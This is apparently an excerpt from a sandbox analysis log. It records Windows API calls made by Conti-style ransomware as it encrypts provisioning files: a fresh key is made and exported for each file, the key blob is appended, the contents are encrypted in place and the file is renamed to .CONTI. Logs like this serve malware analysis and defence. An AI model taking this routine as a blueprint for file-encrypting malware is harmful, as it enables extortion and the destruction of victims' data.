	[0113.764] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\483__connections_cellular_vodafone uk (united kingdom)_i5$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\483__connections_cellular_vodafone uk (united kingdom)_i5$(__mvid)@wap.provxml.conti")) returned 1
	[0113.764] GetProcessHeap () returned 0x1720000
	[0113.764] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.765] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0113.765] GetProcessHeap () returned 0x1720000
	[0113.765] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1815c88 | out: hHeap=0x1720000) returned 1
	[0113.765] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0113.765] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6b51df0 | out: phKey=0x6b51df0*=0x17c83b0) returned 1
	[0113.765] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51df4, pdwDataLen=0x573fb4c | out: pbData=0x6b51df4*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0113.765] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\657__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0113.766] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\657__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0113.766] GetLastError () returned 0x0
	[0113.766] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=473) returned 1
	[0113.766] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d9
	[0113.766] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.766] SetEndOfFile (hFile=0x37c) returned 1
	[0113.772] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.772] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.772] WriteFile (in: hFile=0x37c, lpBuffer=0x6b51df4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6b51df4*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0113.778] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.778] ReadFile (in: hFile=0x37c, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x1d9, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x1d9, lpOverlapped=0x0) returned 1
	[0113.779] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x1d9, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x1e0) returned 1
	[0113.779] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.779] WriteFile (in: hFile=0x37c, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x1e0, lpOverlapped=0x0) returned 1
	[0113.779] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.779] WriteFile (in: hFile=0x37c, lpBuffer=0x6b51de8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6b51de8*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0113.779] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.779] CloseHandle (hObject=0x37c) returned 1
	[0113.779] GetProcessHeap () returned 0x1720000
	[0113.779] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.779] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0113.779] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0113.779] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\657__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\657__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\657__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0113.780] GetProcessHeap () returned 0x1720000
	[0113.780] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.780] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0113.780] GetProcessHeap () returned 0x1720000
	[0113.780] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1818c68 | out: hHeap=0x1720000) returned 1
	[0113.780] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0113.780] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6b46e48 | out: phKey=0x6b46e48*=0x17c83b0) returned 1
	[0113.780] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46e4c, pdwDataLen=0x573fb4c | out: pbData=0x6b46e4c*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0113.781] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\65__connections_cellular_claro (chile)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.781] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\65__connections_cellular_claro (chile)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0113.781] GetLastError () returned 0x0
	[0113.781] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=761) returned 1
	[0113.782] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2f9
	[0113.782] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.782] SetEndOfFile (hFile=0x37c) returned 1
	[0113.782] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.782] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.782] WriteFile (in: hFile=0x37c, lpBuffer=0x6b46e4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6b46e4c*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0113.788] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.788] ReadFile (in: hFile=0x37c, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x2f9, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x2f9, lpOverlapped=0x0) returned 1
	[0113.788] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2f9, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x300) returned 1
	[0113.788] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.789] WriteFile (in: hFile=0x37c, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x300, lpOverlapped=0x0) returned 1
	[0113.789] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.789] WriteFile (in: hFile=0x37c, lpBuffer=0x6b46e40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6b46e40*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0113.789] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.789] CloseHandle (hObject=0x37c) returned 1
	[0113.789] GetProcessHeap () returned 0x1720000
	[0113.789] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.789] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml"
	[0113.789] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.789] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\65__connections_cellular_claro (chile)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\65__connections_cellular_claro (chile)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.790] GetProcessHeap () returned 0x1720000
	[0113.790] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.790] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0113.790] GetProcessHeap () returned 0x1720000
	[0113.790] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c56d0 | out: hHeap=0x1720000) returned 1
	[0113.790] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0113.790] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6b44c10 | out: phKey=0x6b44c10*=0x17c83b0) returned 1
	[0113.790] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44c14, pdwDataLen=0x573fb4c | out: pbData=0x6b44c14*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0113.791] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\661__connections_cellular_cityfone (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.791] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\661__connections_cellular_cityfone (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0113.791] GetLastError () returned 0x0
	[0113.791] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=713) returned 1
	[0113.791] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0113.791] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.791] SetEndOfFile (hFile=0x37c) returned 1
	[0113.791] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.792] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.792] WriteFile (in: hFile=0x37c, lpBuffer=0x6b44c14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6b44c14*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0113.798] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.798] ReadFile (in: hFile=0x37c, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x2c9, lpOverlapped=0x0) returned 1
	[0113.799] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2c9, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2d0) returned 1
	[0113.799] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.799] WriteFile (in: hFile=0x37c, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.799] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.799] WriteFile (in: hFile=0x37c, lpBuffer=0x6b44c08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6b44c08*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0113.799] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.799] CloseHandle (hObject=0x37c) returned 1
	[0113.799] GetProcessHeap () returned 0x1720000
	[0113.799] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.799] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml"
	[0113.799] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.799] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\661__connections_cellular_cityfone (canada)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\661__Connections_Cellular_Cityfone (Canada)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\661__connections_cellular_cityfone (canada)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.800] GetProcessHeap () returned 0x1720000
	[0113.800] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.800] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0113.800] GetProcessHeap () returned 0x1720000
	[0113.800] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c4b48 | out: hHeap=0x1720000) returned 1
	[0113.800] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0113.800] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6b48760 | out: phKey=0x6b48760*=0x17c83b0) returned 1
	[0113.800] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b48764, pdwDataLen=0x573fb4c | out: pbData=0x6b48764*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0113.801] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\663__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0113.806] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\663__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\663__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0113.816] GetLastError () returned 0x0
	[0113.816] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=468) returned 1
	[0113.816] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d4
	[0113.816] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.816] SetEndOfFile (hFile=0x37c) returned 1
	[0113.820] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.820] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.820] WriteFile (in: hFile=0x37c, lpBuffer=0x6b48764*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6b48764*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0113.823] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.823] ReadFile (in: hFile=0x37c, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x1d4, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x1d4, lpOverlapped=0x0) returned 1
	[0113.823] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x1d4, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x1e0) returned 1
	[0113.823] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
